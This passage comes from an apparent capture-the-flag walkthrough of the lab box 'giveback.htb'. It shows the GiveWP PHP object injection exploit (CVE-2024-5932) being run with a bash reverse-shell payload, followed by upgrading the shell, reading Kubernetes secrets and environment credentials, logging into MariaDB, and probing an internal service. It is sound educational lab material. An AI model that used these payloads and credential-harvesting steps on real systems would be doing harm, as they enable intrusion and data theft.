[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 4
 | Requests Remaining: 21

[+] Finished: Sat Feb 14 01:53:51 2026
[+] Requests Done: 80
[+] Cached Requests: 9
[+] Data Sent: 18.703 KB
[+] Data Received: 23.351 MB
[+] Memory used: 264.266 MB
[+] Elapsed time: 00:00:09
</span></code></pre></div></div>

<p>There’s a ton here, including 2 vulnerabilities in the WP version, and 22 in GiveWP! Looking through these, the most interesting is:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="go"> | [!] Title: GiveWP &lt; 3.14.2 - Unauthenticated PHP Object Injection to RCE
 |     Fixed in: 3.14.2
 |     References:
 |      - https://wpscan.com/vulnerability/fdf7a98b-8205-4a29-b830-c36e1e46d990
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-5932
 |      - https://www.wordfence.com/threat-intel/vulnerabilities/id/93e2d007-8157-42c5-92ad-704dc80749a3
</span></code></pre></div></div>

<p>RCE is definitely good.</p>

<h3 id="web-api---tcp-30686">Web API - TCP 30686</h3>

<p>This URL returns JSON about the “wp-nginx-service”:</p>

<picture>
    <source type="image/webp" srcset="/img/image-20260213214913358.webp" />
    <img loading="lazy" src="/img/image-20260213214913358.png" alt="image-20260213214913358" class="include_image " />
</picture>

<p>The HTTP response headers show an interesting header:</p>

<div class="language-http highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">HTTP</span><span class="o">/</span><span class="m">1.1</span> <span class="m">200</span> <span class="ne">OK</span>
<span class="na">Content-Type</span><span class="p">:</span> <span class="s">application/json</span>
<span class="na">X-Content-Type-Options</span><span class="p">:</span> <span class="s">nosniff</span>
<span class="na">X-Load-Balancing-Endpoint-Weight</span><span class="p">:</span> <span class="s">1</span>
<span class="na">Date</span><span class="p">:</span> <span class="s">Sat, 14 Feb 2026 02:47:54 GMT</span>
<span class="na">Content-Length</span><span class="p">:</span> <span class="s">127</span>
</code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">X-Load-Balancing-Endpoint-Weight</code> is a custom HTTP response header used by <a href="https://codelabs.developers.google.com/configure-weighted-netlb-codelab#0">Google Cloud External Network Load Balancing</a>, but it’s also used by Cilium, a K8s networking plugin.</p>

<p>Putting that all together, this seems like a Kubernetes service proxy exposing a service named “wp-nginx-service” based on:</p>

<ul>
  <li>The JSON response itself contains Kubernetes-specific fields:
    <ul>
      <li>“namespace”: “default” - Kubernetes organizes resources into namespaces</li>
      <li>“service” with name and namespace - this is how K8s services are identified</li>
      <li>“localEndpoints” / “serviceProxyHealthy” - these are Cilium health proxy terms</li>
    </ul>
  </li>
  <li>Port 30686 falls in the Kubernetes NodePort range (30000-32767), which is the default
range K8s uses to expose services externally.</li>
  <li>The header X-Load-Balancing-Endpoint-Weight is characteristic of Cilium.</li>
  <li>The service name wp-nginx-service follows Kubernetes naming conventions.</li>
</ul>

<h2 id="shell-in-wordpress-k8-pod">Shell in WordPress K8 Pod</h2>

<h3 id="cve-2024-5932-background">CVE-2024-5932 Background</h3>

<p>The <a href="https://nvd.nist.gov/vuln/detail/cve-2024-5932">NIST page for CVE-2024-5932</a> describes it as:</p>

<blockquote>
  <p>The GiveWP – Donation Plugin and Fundraising Platform plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 3.14.1 via deserialization of untrusted input from the ‘give_title’ parameter. This makes it possible for unauthenticated attackers to inject a PHP Object. The additional presence of a POP chain allows attackers to execute code remotely, and to delete arbitrary files.</p>
</blockquote>

<p>There’s a nice POC for the vulnerability <a href="https://github.com/EQSTLab/CVE-2024-5932">from EQSTLab</a>. It’s a bit overly complex with how it’s structured, but it basically gets some data from the page and then makes a request with a serialized PHP object.</p>

<h3 id="poc">POC</h3>

<p>I’ll clone the repo and add the metadata to the script so that <code class="language-plaintext highlighter-rouge">uv</code> can run and manage the virtual environment:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>git clone https://github.com/EQSTLab/CVE-2024-5932.git
<span class="go">Cloning into 'CVE-2024-5932'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (19/19), done.
remote: Compressing objects: 100% (18/18), done.
remote: Total 19 (delta 9), reused 5 (delta 1), pack-reused 0 (from 0)
Receiving objects: 100% (19/19), 11.04 KiB | 1.84 MiB/s, done.
Resolving deltas: 100% (9/9), done.
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">cd </span>CVE-2024-5932/
<span class="gp">oxdf@hacky$</span><span class="w"> </span>uv add <span class="nt">--script</span> CVE-2024-5932-rce.py <span class="nt">-r</span> requirements.txt 
<span class="go">Updated `CVE-2024-5932-rce.py`
</span></code></pre></div></div>

<p>It takes the URL of the donation page and a command to run:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>uv run CVE-2024-5932-rce.py <span class="nt">--help</span>
<span class="go">Installed 15 packages in 42ms

Usage: CVE-2024-5932-rce.py [OPTIONS]

╭─ Options ───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ *  --url   -u  TEXT  Specify a URL or domain for vulnerability detection (Donation-Form Page) [required]                            │
│    --cmd   -c  TEXT  Specify the file to read from the server                                                                       │
│    --help            Show this message and exit.                                                                                    │
╰─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────╯
</span></code></pre></div></div>

<p>The execution is blind, so I’ll have to try something that connects back. <code class="language-plaintext highlighter-rouge">ping</code>, <code class="language-plaintext highlighter-rouge">curl</code>, and <code class="language-plaintext highlighter-rouge">wget</code> don’t work, but a <a href="https://www.youtube.com/watch?v=OjkVep2EIlw">bash reverse shell</a> does:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span>uv run CVE-2024-5932-rce.py <span class="nt">--url</span> http://giveback.htb/donations/the-things-we-need/ <span class="nt">--cmd</span> <span class="s1">'bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.44/443 0&gt;&amp;1"'</span>
<span class="go">...[snip]...                                
[\] Exploit loading, please wait...
[+] Requested Data:
{'give-form-id': '17', 'give-form-hash': '605966acef', 'give-price-id': '0', 'give-amount': '$10.00', 'give_first': 'Richard', 'give_last': 'Tanner', 'give_email': 'rogersdaniel@example.org', 'give_title': 'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";s:10:"shell_exec";s:12:"\\0*\\0generator";O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{s:11:"\\0*\\0settings";a:1:{s:8:"address1";s:50:"bash -c "bash -i &gt;&amp; /dev/tcp/10.10.14.44/443 0&gt;&amp;1"";}}s:13:"\\0*\\0maxRetries";i:10;}}}}}}', 'give-gateway': 'offline', 'action': 'give_process_donation'}
</span></code></pre></div></div>

<p>This hangs, but at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>nc <span class="nt">-lnvp</span> 443
<span class="go">Listening on 0.0.0.0 443
Connection received on 10.129.242.171 33271
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
</span><span class="gp">&lt;-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$</span><span class="w"> 
</span></code></pre></div></div>

<p>I’ll upgrade my shell using the <a href="https://www.youtube.com/watch?v=DqE6DxqJg8Q">standard trick</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&lt;-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$</span><span class="w"> </span>script /dev/null <span class="nt">-c</span> bash
<span class="go">script /dev/null -c bash
Script started, output log file is '/dev/null'.
</span><span class="gp">&lt;-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$</span><span class="w"> </span>^Z
<span class="go">[1]+  Stopped                 nc -lnvp 443
oxdf@hacky$ stty raw -echo ; fg
nc -lnvp 443
</span><span class="gp">            ‍</span>reset
<span class="go">bash: reset: command not found
</span><span class="gp">&lt;-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$</span><span class="w"> 
</span></code></pre></div></div>

<h2 id="shell-as-root-on-legacy-internet-cms-pod">Shell as root on legacy-internet-cms Pod</h2>

<h3 id="enumeration">Enumeration</h3>

<h4 id="kubernetes-pod-identification">Kubernetes Pod Identification</h4>

<p>This is a Kubernetes pod. If I switch directories to the root I’ll see the full prompt:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&lt;-774fb955fd-8tx5b:/opt/bitnami/wordpress/wp-admin$</span><span class="w"> </span><span class="nb">cd</span> /
<span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ </span><span class="w">
</span></code></pre></div></div>

<p>“I have no name!” is because this user has no mapping in the <code class="language-plaintext highlighter-rouge">passwd</code> file:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ </span><span class="nb">id</span>             
<span class="go">uid=1001 gid=0(root) groups=0(root),1001
</span><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ </span><span class="nb">cat</span> /etc/passwd
<span class="go">root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
</span></code></pre></div></div>

<p>The hostname matches the default K8s naming pattern of <code class="language-plaintext highlighter-rouge">&lt;deployment&gt;-&lt;replicaset-hash&gt;-&lt;pod-hash&gt;</code>, so the deployment name is “beta-vino-wp-wordpress”, the replicaset hash is “774fb955fd”, and the pod-unique hash is “8tx5b”.</p>

<p>The initial directory of <code class="language-plaintext highlighter-rouge">/opt/bitnami/wordpress/</code> matches the Bitnami Helm chart WordPress layout, which is <a href="https://www.fobwp.com/kubernetes-wordpress-guide/">a standard way to deploy WordPress on Kubernetes</a>.</p>

<p>The files in the filesystem root also match Kubernetes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ </span><span class="nb">ls</span>
<span class="go">bin  bitnami  boot  dev  etc  home  lib  lib64  media  mnt  opt  post-init.d  post-init.sh  proc  root  run  sbin  secrets  srv  sys  tmp  usr var
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">/secrets</code> is likely the mounted K8s secrets directory. <code class="language-plaintext highlighter-rouge">post-init.d</code> and <code class="language-plaintext highlighter-rouge">post-init.sh</code> are the Bitnami K8s container init scripts.</p>

<p>This all matches up with what was observed on port 30686 <a href="#web-api---tcp-30686">above</a>. And the environment is so stripped down. No <code class="language-plaintext highlighter-rouge">ping</code>, <code class="language-plaintext highlighter-rouge">curl</code>, <code class="language-plaintext highlighter-rouge">reset</code>, or <code class="language-plaintext highlighter-rouge">stty</code>. There are no directories in <code class="language-plaintext highlighter-rouge">/home</code>, and root is the only user with a shell set. It’s common in K8s containers with <code class="language-plaintext highlighter-rouge">securityContext.runAsUser</code> set to end up with processes running as a UID that isn’t in <code class="language-plaintext highlighter-rouge">/etc/passwd</code>.</p>

<p>The <code class="language-plaintext highlighter-rouge">/etc/hosts</code> file also says it’s managed by Kubernetes:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$</span><span class="w"> </span><span class="nb">cat</span> /etc/hosts 
<span class="c"># Kubernetes-managed hosts file.
</span><span class="go">127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
10.42.1.250     beta-vino-wp-wordpress-756bfc779d-qfp6m

</span><span class="c"># Entries added by HostAliases.
</span><span class="go">127.0.0.1       status.localhost
</span></code></pre></div></div>

<h4 id="pod-enumeration">Pod Enumeration</h4>

<p>The <code class="language-plaintext highlighter-rouge">/secrets</code> directory has three secrets:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ </span><span class="nb">ls</span>
<span class="go">mariadb-password  mariadb-root-password  wordpress-password
</span><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ </span><span class="nb">cat </span>mariadb-password             
<span class="go">sW5sp4spa3u7RLyetrekE4oS
</span><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ </span><span class="nb">cat </span>mariadb-root-password
<span class="go">sW5sp4syetre32828383kE4oS
</span><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ </span><span class="nb">cat </span>wordpress-password                     
<span class="go">O8F7KR5zGi
</span></code></pre></div></div>

<p>The environment variables have a ton of information:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/secrets$ </span><span class="nb">env</span>
<span class="go">KUBERNETES_SERVICE_PORT_HTTPS=443
BETA_VINO_WP_MARIADB_SERVICE_PORT=3306
WORDPRESS_SMTP_PASSWORD=
WORDPRESS_SMTP_FROM_EMAIL=
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PORT=443
WEB_SERVER_HTTP_PORT_NUMBER=8080
WORDPRESS_RESET_DATA_PERMISSIONS=no
KUBERNETES_SERVICE_PORT=443
WORDPRESS_EMAIL=user@example.com
WP_CLI_CONF_FILE=/opt/bitnami/wp-cli/conf/wp-cli.yml
WORDPRESS_DATABASE_HOST=beta-vino-wp-mariadb
MARIADB_PORT_NUMBER=3306
MODULE=wordpress
WORDPRESS_SMTP_FROM_NAME=FirstName LastName
HOSTNAME=beta-vino-wp-wordpress-774fb955fd-8tx5b
WORDPRESS_SMTP_PORT_NUMBER=
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PROTO=tcp
WORDPRESS_EXTRA_CLI_ARGS=
APACHE_BASE_DIR=/opt/bitnami/apache
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT=5000
APACHE_VHOSTS_DIR=/opt/bitnami/apache/conf/vhosts
WEB_SERVER_DEFAULT_HTTP_PORT_NUMBER=8080
WP_NGINX_SERVICE_PORT_80_TCP=tcp://10.43.4.242:80
WORDPRESS_ENABLE_DATABASE_SSL=no
WP_NGINX_SERVICE_PORT_80_TCP_PROTO=tcp
APACHE_DAEMON_USER=daemon
BITNAMI_ROOT_DIR=/opt/bitnami
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
WORDPRESS_BASE_DIR=/opt/bitnami/wordpress
WORDPRESS_SCHEME=http
WORDPRESS_LOGGED_IN_SALT=
BETA_VINO_WP_WORDPRESS_PORT_80_TCP=tcp://10.43.61.204:80
WORDPRESS_DATA_TO_PERSIST=wp-config.php wp-content
WORDPRESS_HTACCESS_OVERRIDE_NONE=no
WORDPRESS_DATABASE_SSL_CERT_FILE=
APACHE_HTTPS_PORT_NUMBER=8443
PWD=/secrets
OS_FLAVOUR=debian-12
WORDPRESS_CONF_FILE=/opt/bitnami/wordpress/wp-config.php
WORDPRESS_SMTP_PROTOCOL=
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
WP_CLI_BASE_DIR=/opt/bitnami/wp-cli
WORDPRESS_VOLUME_DIR=/bitnami/wordpress
WP_CLI_CONF_DIR=/opt/bitnami/wp-cli/conf
APACHE_BIN_DIR=/opt/bitnami/apache/bin
BETA_VINO_WP_MARIADB_SERVICE_PORT_MYSQL=3306
WORDPRESS_PLUGINS=none
WORDPRESS_FIRST_NAME=FirstName
MARIADB_HOST=beta-vino-wp-mariadb
WORDPRESS_EXTRA_WP_CONFIG_CONTENT=
WORDPRESS_MULTISITE_ENABLE_NIP_IO_REDIRECTION=no
WORDPRESS_DATABASE_USER=bn_wordpress
PHP_DEFAULT_UPLOAD_MAX_FILESIZE=80M
WORDPRESS_AUTH_KEY=
BETA_VINO_WP_MARIADB_PORT_3306_TCP=tcp://10.43.147.82:3306
WORDPRESS_MULTISITE_NETWORK_TYPE=subdomain
WORDPRESS_DATABASE_SSL_KEY_FILE=
APACHE_DEFAULT_CONF_DIR=/opt/bitnami/apache/conf.default
WORDPRESS_LOGGED_IN_KEY=
APACHE_CONF_DIR=/opt/bitnami/apache/conf
HOME=/
KUBERNETES_PORT_443_TCP=tcp://10.43.0.1:443
WEB_SERVER_DAEMON_GROUP=daemon
PHP_DEFAULT_POST_MAX_SIZE=80M
WORDPRESS_ENABLE_HTTPS=no
BETA_VINO_WP_WORDPRESS_SERVICE_PORT=80
BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTPS=443
WORDPRESS_TABLE_PREFIX=wp_
WORDPRESS_DATABASE_PORT_NUMBER=3306
WORDPRESS_DATABASE_NAME=bitnami_wordpress
LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000
APACHE_HTTP_PORT_NUMBER=8080
WP_NGINX_SERVICE_SERVICE_HOST=10.43.4.242
WP_NGINX_SERVICE_PORT=tcp://10.43.4.242:80
APACHE_DEFAULT_HTTP_PORT_NUMBER=8080
WP_CLI_DAEMON_GROUP=daemon
BETA_VINO_WP_MARIADB_PORT=tcp://10.43.147.82:3306
WORDPRESS_MULTISITE_FILEUPLOAD_MAXK=81920
WORDPRESS_AUTO_UPDATE_LEVEL=none
BITNAMI_DEBUG=false
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
WORDPRESS_USERNAME=user
BETA_VINO_WP_WORDPRESS_PORT=tcp://10.43.61.204:80
WORDPRESS_ENABLE_XML_RPC=no
WORDPRESS_BLOG_NAME=User's Blog!
APACHE_PID_FILE=/opt/bitnami/apache/var/run/httpd.pid
WP_NGINX_SERVICE_PORT_80_TCP_ADDR=10.43.4.242
WORDPRESS_AUTH_SALT=
APACHE_LOGS_DIR=/opt/bitnami/apache/logs
WORDPRESS_EXTRA_INSTALL_ARGS=
BETA_VINO_WP_MARIADB_PORT_3306_TCP_PORT=3306
APACHE_DAEMON_GROUP=daemon
WORDPRESS_NONCE_KEY=
WEB_SERVER_HTTPS_PORT_NUMBER=8443
WORDPRESS_SMTP_HOST=
WP_NGINX_SERVICE_SERVICE_PORT_HTTP=80
APACHE_DEFAULT_HTTPS_PORT_NUMBER=8443
WORDPRESS_NONCE_SALT=
APACHE_CONF_FILE=/opt/bitnami/apache/conf/httpd.conf
WORDPRESS_MULTISITE_EXTERNAL_HTTP_PORT_NUMBER=80
BETA_VINO_WP_WORDPRESS_PORT_443_TCP=tcp://10.43.61.204:443
WEB_SERVER_DEFAULT_HTTPS_PORT_NUMBER=8443
WORDPRESS_LAST_NAME=LastName
WP_NGINX_SERVICE_SERVICE_PORT=80
WP_NGINX_SERVICE_PORT_80_TCP_PORT=80
WORDPRESS_ENABLE_MULTISITE=no
WORDPRESS_SKIP_BOOTSTRAP=no
WORDPRESS_MULTISITE_EXTERNAL_HTTPS_PORT_NUMBER=443
SHLVL=3
WORDPRESS_SECURE_AUTH_SALT=
BETA_VINO_WP_MARIADB_PORT_3306_TCP_ADDR=10.43.147.82
BITNAMI_VOLUME_DIR=/bitnami
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PORT=80
KUBERNETES_PORT_443_TCP_PROTO=tcp
BITNAMI_APP_NAME=wordpress
WORDPRESS_DATABASE_PASSWORD=sW5sp4spa3u7RLyetrekE4oS
BETA_VINO_WP_WORDPRESS_SERVICE_HOST=10.43.61.204
APACHE_HTDOCS_DIR=/opt/bitnami/apache/htdocs
WEB_SERVER_GROUP=daemon
WORDPRESS_PASSWORD=O8F7KR5zGi
KUBERNETES_PORT_443_TCP_ADDR=10.43.0.1
APACHE_HTACCESS_DIR=/opt/bitnami/apache/conf/vhosts/htaccess
WORDPRESS_DEFAULT_DATABASE_HOST=mariadb
WORDPRESS_SECURE_AUTH_KEY=
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_PROTO=tcp
APACHE_TMP_DIR=/opt/bitnami/apache/var/run
APP_VERSION=6.8.1
BETA_VINO_WP_WORDPRESS_PORT_443_TCP_ADDR=10.43.61.204
ALLOW_EMPTY_PASSWORD=yes
WP_CLI_DAEMON_USER=daemon
BETA_VINO_WP_WORDPRESS_SERVICE_PORT_HTTP=80
KUBERNETES_SERVICE_HOST=10.43.0.1
KUBERNETES_PORT=tcp://10.43.0.1:443
KUBERNETES_PORT_443_TCP_PORT=443
WP_CLI_BIN_DIR=/opt/bitnami/wp-cli/bin
WORDPRESS_VERIFY_DATABASE_SSL=yes
OS_NAME=linux
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_PROTO=tcp
PATH=/opt/bitnami/apache/bin:/opt/bitnami/common/bin:/opt/bitnami/common/bin:/opt/bitnami/mysql/bin:/opt/bitnami/common/bin:/opt/bitnami/php/bin:/opt/bitnami/php/sbin:/opt/bitnami/apache/bin:/opt/bitnami/mysql/bin:/opt/bitnami/wp-cli/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_SERVER_TOKENS=Prod
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO=tcp
WORDPRESS_ENABLE_HTACCESS_PERSISTENCE=no
WORDPRESS_ENABLE_REVERSE_PROXY=no
LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
WORDPRESS_SMTP_USER=
WEB_SERVER_TYPE=apache
WORDPRESS_MULTISITE_HOST=
PHP_DEFAULT_MEMORY_LIMIT=512M
WORDPRESS_OVERRIDE_DATABASE_SETTINGS=no
WORDPRESS_DATABASE_SSL_CA_FILE=
OS_ARCH=amd64
WEB_SERVER_DAEMON_USER=daemon
BETA_VINO_WP_WORDPRESS_PORT_80_TCP_ADDR=10.43.61.204
BETA_VINO_WP_MARIADB_SERVICE_HOST=10.43.147.82
_=/usr/bin/env
OLDPWD=/
</span></code></pre></div></div>

<p>The most interesting thing from these is that it lays out all the other services / hosts in this Kubernetes network:</p>

<ul>
  <li>nginx is on 10.43.4.242:80</li>
  <li>Something called “LEGACY_INTRANET_SERVICE” is on 10.43.2.241:5000</li>
  <li>WordPress is on 10.43.61.204:80</li>
  <li>MariaDB is on 10.43.147.82:3306</li>
  <li>Kubernetes is on 10.43.0.1:443</li>
  <li>WP_NGINX_SERVICE is on 10.43.4.242:80</li>
</ul>

<p>These IPs may change on each spawn of the box.</p>

<h4 id="web">Web</h4>

<p>The WordPress instance is located in <code class="language-plaintext highlighter-rouge">/opt/bitnami/wordpress</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">&lt;wordpress-774fb955fd-8tx5b:/opt/bitnami/wordpress$</span><span class="w"> </span><span class="nb">ls</span>             
<span class="go">index.php    licenses     tmp              wp-admin            wp-comments-post.php  wp-config.php  wp-cron.php  wp-links-opml.php  wp-
login.php  wp-settings.php  wp-trackback.php                       
license.txt  readme.html  wp-activate.php  wp-blog-header.php  wp-config-sample.php  wp-content     wp-includes  wp-load.php        wp-
mail.php   wp-signup.php    xmlrpc.php
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">wp-config.php</code> has the DB connection information:</p>

<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span>
<span class="mf">...</span><span class="p">[</span><span class="n">snip</span><span class="p">]</span><span class="mf">...</span>
<span class="c1">// ** Database settings - You can get this info from your web host ** //</span>
<span class="cd">/** The name of the database for WordPress */</span>
<span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_NAME'</span><span class="p">,</span> <span class="s1">'bitnami_wordpress'</span> <span class="p">);</span>

<span class="cd">/** Database username */</span>
<span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_USER'</span><span class="p">,</span> <span class="s1">'bn_wordpress'</span> <span class="p">);</span>

<span class="cd">/** Database password */</span>
<span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_PASSWORD'</span><span class="p">,</span> <span class="s1">'sW5sp4spa3u7RLyetrekE4oS'</span> <span class="p">);</span>

<span class="cd">/** Database hostname */</span>
<span class="nb">define</span><span class="p">(</span> <span class="s1">'DB_HOST'</span><span class="p">,</span> <span class="s1">'beta-vino-wp-mariadb:3306'</span> <span class="p">);</span>
<span class="mf">...</span><span class="p">[</span><span class="n">snip</span><span class="p">]</span><span class="mf">...</span>
</code></pre></div></div>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">I have no name!@beta-vino-wp-wordpress-774fb955fd-8tx5b:/$ </span>mysql <span class="nt">-h</span> beta-vino-wp-mariadb <span class="nt">-u</span> bn_wordpress <span class="nt">-p</span><span class="s1">'sW5sp4spa3u7RLyetrekE4oS'</span> bitnami_wordpress
<span class="go">...[snip]...
</span><span class="gp">MariaDB [bitnami_wordpress]&gt;</span><span class="w">
</span></code></pre></div></div>

<p>There is one user in the <code class="language-plaintext highlighter-rouge">wp_users</code> table, but I’m not able to crack the hash with <code class="language-plaintext highlighter-rouge">rockyou.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">MariaDB [bitnami_wordpress]&gt; </span><span class="k">select</span> <span class="o">*</span> <span class="k">from</span> <span class="n">wp_users</span><span class="p">;</span>
<span class="go">+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
| ID | user_login | user_pass                          | user_nicename | user_email       | user_url         | user_registered     | user_activation_key | user_status | display_name |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
|  1 | user       | $P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP. | user          | user@example.com | http://127.0.0.1 | 2024-09-21 22:18:28 |                     |           0 | babywyrm     |
+----+------------+------------------------------------+---------------+------------------+------------------+---------------------+---------------------+-------------+--------------+
1 row in set (0.000 sec)
</span></code></pre></div></div>

<p>I don’t find anything else too interesting in the DB.</p>

<h4 id="legacy-service">Legacy Service</h4>

<p>There’s a legacy service on 10.43.2.241:5000, which seems like a likely web application just based on the port. I don’t have <code class="language-plaintext highlighter-rouge">curl</code> or <code class="language-plaintext highlighter-rouge">wget</code>. <code class="language-plaintext highlighter-rouge">php</code> is installed, and I can easily use <code class="language-plaintext highlighter-rouge">file_get_contents</code> to make web requests (I’m going to set my prompt to be shorter for readability with <code class="language-plaintext highlighter-rouge">PS1="$ "</code>):</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">$ </span>php <span class="nt">-r</span> <span class="s2">"echo file_get_contents('http://10.43.2.241:5000/');"</span>
<span class="cp">&lt;!DOCTYPE html&gt;</span>
<span class="nt">&lt;html&gt;</span>
<span class="nt">&lt;head&gt;</span>
  <span class="nt">&lt;title&gt;</span>GiveBack LLC Internal CMS<span class="nt">&lt;/title&gt;</span>
  <span class="c">&lt;!-- Developer note: phpinfo accessible via debug mode during migration window --&gt;</span>
  <span class="nt">&lt;style&gt;</span>
    <span class="nt">body</span> <span class="p">{</span> <span class="nl">font-family</span><span class="p">:</span> <span class="n">Arial</span><span class="p">,</span> <span class="nb">sans-serif</span><span class="p">;</span> <span class="nl">margin</span><span class="p">:</span> <span class="m">40px</span><span class="p">;</span> <span class="nl">background</span><span class="p">:</span> <span class="nx">#f9f9f9</span><span class="p">;</span> <span class="p">}</span>
    <span class="nc">.header</span> <span class="p">{</span> <span class="nl">color</span><span class="p">:</span> <span class="nx">#333</span><span class="p">;</span> <span class="nl">border-bottom</span><span class="p">:</span> <span class="m">1px</span> <span class="nb">solid</span> <span class="nx">#ccc</span><span class="p">;</span> <span class="nl">padding-bottom</span><span class="p">:</span> <span class="m">10px</span><span class="p">;</span> <span class="p">}</span>
